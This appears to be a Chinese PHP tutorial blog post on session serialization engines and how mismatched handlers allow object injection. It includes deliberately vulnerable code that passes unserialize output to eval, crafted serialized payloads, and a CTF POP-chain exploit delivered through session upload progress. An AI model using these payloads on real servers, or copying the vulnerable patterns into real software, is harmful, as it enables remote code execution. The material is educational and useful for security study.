深入解析PHP中SESSION反序列化机制


Posted in PHP onMarch 01, 2017

简介

在php.ini中存在三项配置项:

  • session.save_path=""   --设置session的存储路径
  • session.save_handler="" --设定用户自定义存储函数,如果想使用PHP内置会话存储机制之外的可以使用本函数(数据库等方式)
  • session.auto_start   boolen --指定会话模块是否在请求开始时启动一个会话,默认为0不启动
  • session.serialize_handler   string --定义用来序列化/反序列化的处理器名字。默认使用php

以上的选项就是与PHP中的Session存储和序列话存储有关的选项。

在使用xampp组件安装中,上述的配置项的设置如下:

  • session.save_path="D:\xampp\tmp" 表明所有的session文件都是存储在xampp/tmp下
  • session.save_handler=files     表明session是以文件的方式来进行存储的
  • session.auto_start=0    表明默认不启动session
  • session.serialize_handler=php     表明session的默认序列话引擎使用的是php序列话引擎

在上述的配置中,session.serialize_handler是用来设置session的序列话引擎的,除了默认的PHP引擎之外,还存在其他引擎,不同的引擎所对应的session的存储方式不相同。

  1. php_binary:存储方式是,键名的长度对应的ASCII字符+键名+经过serialize()函数序列化处理的值
  2. php:存储方式是,键名+竖线+经过serialize()函数序列处理的值
  3. php_serialize(php>5.5.4):存储方式是,经过serialize()函数序列化处理的值

在PHP中默认使用的是PHP引擎,如果要修改为其他的引擎,只需要添加代码ini_set('session.serialize_handler', '需要设置的引擎');

示例代码如下:

<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
// do something

存储机制

php中的session中的内容并不是放在内存中的,而是以文件的方式来存储的,存储方式就是由配置项session.save_handler来进行确定的,默认是以文件的方式存储。

存储的文件是以sess_sessionid来进行命名的,文件的内容就是session值的序列话之后的内容。

假设我们的环境是xampp,那么默认配置如上所述。

在默认配置情况下:

<?php
session_start()
$_SESSION['name'] = 'spoock';
var_dump();
?>

最后的session的存储和显示如下:

深入解析PHP中SESSION反序列化机制

可以看到PHPSESSID的值是jo86ud4jfvu81mbg28sl2s56c2,而在xampp/tmp下存储的文件名是sess_jo86ud4jfvu81mbg28sl2s56c2,文件的内容是name|s:6:"spoock"; 。name是键值,s:6:"spoock";serialize("spoock")的结果。

在php_serialize引擎下:

<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
$_SESSION['name'] = 'spoock';
var_dump();
?>

SESSION文件的内容是a:1:{s:4:"name";s:6:"spoock";} 。a:1是使用php_serialize进行序列话都会加上。同时使用php_serialize会将session中的key和value都会进行序列化。

在php_binary引擎下:

<?php
ini_set('session.serialize_handler', 'php_binary');
session_start();
$_SESSION['name'] = 'spoock';
var_dump();
?>

SESSION文件的内容是names:6:"spoock"; 。由于name的长度是4,4在ASCII表中对应的就是EOT。根据php_binary的存储规则,最后就是names:6:"spoock"; 。(突然发现ASCII的值为4的字符无法在网页上面显示,这个大家自行去查ASCII表吧)

序列化简单利用

test.php

<?php
class syclover{
 var $func="";
 function __construct() {
  $this->func = "phpinfo()";
 }
 function __wakeup(){
  eval($this->func);
 }
}
unserialize($_GET['a']);
?>

在11行对传入的参数进行了序列化。我们可以通过传入一个特定的字符串,反序列化为syclover的一个示例,那么就可以执行eval()方法。我们访问localhost/test.php?a=O:8:"syclover":1:{s:4:"func";s:14:"echo "spoock";";}

那么反序列化得到的内容是:

object(syclover)[1]
 public 'func' => string 'echo "spoock";' (length=14)

最后页面输出的就是spoock,说明最后执行了我们定义的echo "spoock";方法。

这就是一个简单的序列化的漏洞的演示

PHP Session中的序列化危害

PHP中的Session的实现是没有的问题,危害主要是由于程序员的Session使用不当而引起的。

如果在PHP在反序列化存储的$_SESSION数据时使用的引擎和序列化使用的引擎不一样,会导致数据无法正确第反序列化。通过精心构造的数据包,就可以绕过程序的验证或者是执行一些系统的方法。例如:

$_SESSION['ryat'] = '|O:11:"PeopleClass":0:{}';

上述的$_SESSION的数据使用php_serialize,那么最后的存储的内容就是a:1:{s:6:"spoock";s:24:"|O:11:"PeopleClass":0:{}";}

但是我们在进行读取的时候,选择的是php,那么最后读取的内容是:

array (size=1)
 'a:1:{s:6:"spoock";s:24:"' => 
 object(__PHP_Incomplete_Class)[1]
 public '__PHP_Incomplete_Class_Name' => string 'PeopleClass' (length=11)

这是因为当使用php引擎的时候,php引擎会以|作为作为key和value的分隔符,那么就会将a:1:{s:6:"spoock";s:24:"作为SESSION的key,将O:11:"PeopleClass":0:{}作为value,然后进行反序列化,最后就会得到PeopleClas这个类。
这种由于序列话化和反序列化所使用的不一样的引擎就是造成PHP Session序列话漏洞的原因。

实际利用

存在s1.php和us2.php,2个文件所使用的SESSION的引擎不一样,就形成了一个漏洞、
s1.php,使用php_serialize来处理session

<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
$_SESSION["spoock"]=$_GET["a"];

us2.php,使用php来处理session

ini_set('session.serialize_handler', 'php');
session_start();
class lemon {
 var $hi;
 function __construct(){
 $this->hi = 'phpinfo();';
 }
 
 function __destruct() {
  eval($this->hi);
 }
}

当访问s1.php时,提交如下的数据:

localhost/s1.php?a=|O:5:"lemon":1:{s:2:"hi";s:14:"echo "spoock";";}

此时传入的数据会按照php_serialize来进行序列化。

此时访问us2.php时,页面输出,spoock成功执行了我们构造的函数。因为在访问us2.php时,程序会按照php来反序列化SESSION中的数据,此时就会反序列化伪造的数据,就会实例化lemon对象,最后就会执行析构函数中的eval()方法。

CTF

在安恒杯中的一道题目就考察了这个知识点。题目中的关键代码如下:

class.php

<?php

highlight_string(file_get_contents(basename($_SERVER['PHP_SELF'])));
//show_source(__FILE__);

class foo1{
 public $varr;
 function __construct(){
  $this->varr = "index.php";
 }
 function __destruct(){
  if(file_exists($this->varr)){
   echo "<br>文件".$this->varr."存在<br>";
  }
  echo "<br>这是foo1的析构函数<br>";
 }
}

class foo2{
 public $varr;
 public $obj;
 function __construct(){
  $this->varr = '1234567890';
  $this->obj = null;
 }
 function __toString(){
  $this->obj->execute();
  return $this->varr;
 }
 function __desctuct(){
  echo "<br>这是foo2的析构函数<br>";
 }
}

class foo3{
 public $varr;
 function execute(){
  eval($this->varr);
 }
 function __desctuct(){
  echo "<br>这是foo3的析构函数<br>";
 }
}

?>

index.php

<?php

ini_set('session.serialize_handler', 'php');

require("./class.php");

session_start();

$obj = new foo1();

$obj->varr = "phpinfo.php";

?>

通过代码发现,我们最终是要通过foo3中的execute来执行我们自定义的函数。

那么我们首先在本地搭建环境,构造我们需要执行的自定义的函数。如下:

myindex.php

<?php
class foo3{
 public $varr='echo "spoock";';
 function execute(){
  eval($this->varr);
 }
}
class foo2{
 public $varr;
 public $obj;
 function __construct(){
  $this->varr = '1234567890';
  $this->obj = new foo3();
 }
 function __toString(){
  $this->obj->execute();
  return $this->varr;
 }
}

class foo1{
 public $varr;
 function __construct(){
  $this->varr = new foo2();
 }
}


$obj = new foo1();
print_r(serialize($obj));
?>

在foo1中的构造函数中定义$varr的值为foo2的实例,在foo2中定义$obj为foo3的实例,在foo3中定义$varr的值为echo "spoock"。最终得到的序列话的值是

O:4:"foo1":1:{s:4:"varr";O:4:"foo2":2:{s:4:"varr";s:10:"1234567890";s:3:"obj";O:4:"foo3":1:{s:4:"varr";s:14:"echo "spoock";";}}}

这样当上面的序列话的值写入到服务器端,然后再访问服务器的index.php,最终就会执行我们预先定义的echo "spoock";的方法了。

写入的方式主要是利用PHP中Session Upload Progress来进行设置,具体为,在上传文件时,如果POST一个名为PHP_SESSION_UPLOAD_PROGRESS的变量,就可以将filename的值赋值到session中,上传的页面的写法如下:

<form action="index.php" method="POST" enctype="multipart/form-data">
 <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
 <input type="file" name="file" />
 <input type="submit" />
</form>

最后就会将文件名写入到session中,具体的实现细节可以参考PHP手册。

那么最终写入的文件名是|O:4:\"foo1\":1:{s:4:\"varr\";O:4:\"foo2\":2:{s:4:\"varr\";s:1:\"1\";s:3:\"obj\";O:4:\"foo3\":1:{s:4:\"varr\";s:12:\"var_dump(1);\";}}}。注意与本地反序列化不一样的地方是要在最前方加上|
但是我在进行本地测试的时候,发现无法实现安恒这道题目所实现的效果,但是最终的原理是一样的。

总结

通过对PHP中的SESSION的分析,对PHP中的SESSION的实现原理有了更加深刻的认识。这个PHP的SESSION问题也是一个很好的问题。上述的这篇文章不仅使大家PHP中的SESSION的序列化漏洞有一个认识,也有助于程序员加强在PHP中的SESSION机制的理解。

好了,以上就是这篇文章的全部内容了,希望本文的内容对大家的学习或者工作能带来一定的帮助,如果有疑问大家可以留言交流。

PHP 相关文章推荐
PHP5.3.1 不再支持ISAPI
Jan 08 PHP
那些年我们错过的魔术方法(Magic Methods)
Jan 14 PHP
通过curl模拟post和get方式提交的表单类
Apr 23 PHP
php实现上传图片保存到数据库的方法
Feb 11 PHP
php curl 上传文件代码实例
Apr 27 PHP
yii2 页面底部加载css和js的技巧
Apr 21 PHP
详解php curl带有csrf-token验证模拟提交方法
Apr 18 PHP
PHP中实现中文字串截取无乱码的解决方法
May 29 PHP
PHP命名空间与自动加载类详解
Sep 04 PHP
PHP与Perl之间知识点区别整理
Mar 19 PHP
PHP CURL中传递cookie的方法步骤
May 09 PHP
PHP查找一列有序数组是否包含某值的方法
Feb 07 PHP
yii2使用GridView实现数据全选及批量删除按钮示例
Mar 01 #PHP
PHP插件PHPMailer发送邮件功能
Feb 28 #PHP
PHP利用正则表达式将相对路径转成绝对路径的方法示例
Feb 28 #PHP
PHP用正则匹配form表单中所有元素的类型和属性值实例代码
Feb 28 #PHP
PHP中让json_encode不自动转义斜杠“/”的方法
Feb 28 #PHP
PHP连接MYSQL数据库的3种常用方法
Feb 27 #PHP
php获取今日开始时间和结束时间的方法
Feb 27 #PHP
You might like
构建简单的Webmail系统
2006/10/09 PHP
查找mysql字段中固定字符串并替换的几个方法
2012/09/23 PHP
thinkPHP实现表单自动验证
2014/12/24 PHP
Yii实现多数据库主从读写分离的方法
2014/12/29 PHP
显示js对象所有属性和方法的函数
2009/10/16 Javascript
轻轻松松学JS调试(不下载任何工具)
2010/04/14 Javascript
基于jquery的合并table相同单元格的插件(精简版)
2011/04/05 Javascript
javascript中IE浏览器不支持NEW DATE()带参数的解决方法
2012/03/01 Javascript
jQuery中的val()示例应用
2014/02/26 Javascript
JS实现超精简响应鼠标显示二级菜单代码
2015/09/12 Javascript
JavaScript错误处理和堆栈追踪详解
2017/04/18 Javascript
JQuery实现简单的复选框树形结构图示例【附源码下载】
2019/07/16 jQuery
微信小程序实现拖拽功能
2019/09/26 Javascript
React-redux实现小案例(todolist)的过程
2019/09/29 Javascript
JS+CSS实现炫酷光感效果
2020/09/05 Javascript
vue v-on:click传递动态参数的步骤
2020/09/11 Javascript
Python3.4实现从HTTP代理网站批量获取代理并筛选的方法示例
2017/09/26 Python
Python使用pip安装报错:is not a supported wheel on this platform的解决方法
2018/01/23 Python
使用实现pandas读取csv文件指定的前几行
2018/04/20 Python
Python排序算法之选择排序定义与用法示例
2018/04/29 Python
python集合删除多种方法详解
2020/02/10 Python
Python性能测试工具Locust安装及使用
2020/12/01 Python
CSS3实现瀑布流布局与无限加载图片相册的实例代码
2016/12/22 HTML / CSS
浅谈关于html5中图片抛物线运动的一些心得
2018/01/09 HTML / CSS
ziaja齐叶雅官方海外旗舰店:来自波兰的天然护肤品牌
2017/01/02 全球购物
美国购买肉、鸭、家禽、鹅肝和熟食网站:D’Artagnan
2018/11/13 全球购物
法国隐形眼镜网站:VisionDirect.fr
2020/03/03 全球购物
优秀毕业生自我鉴定
2014/01/19 职场文书
委托公证书
2014/04/08 职场文书
三分钟演讲稿范文
2014/04/24 职场文书
运动会广播稿100字
2014/09/14 职场文书
抗洪救灾标语
2014/10/08 职场文书
先进事迹材料范文
2014/12/29 职场文书
收入证明申请书
2015/06/12 职场文书
24句精辟的现实社会语录,句句扎心,道尽人性
2019/08/29 职场文书
Python爬取用户观影数据并分析用户与电影之间的隐藏信息!
2021/06/29 Python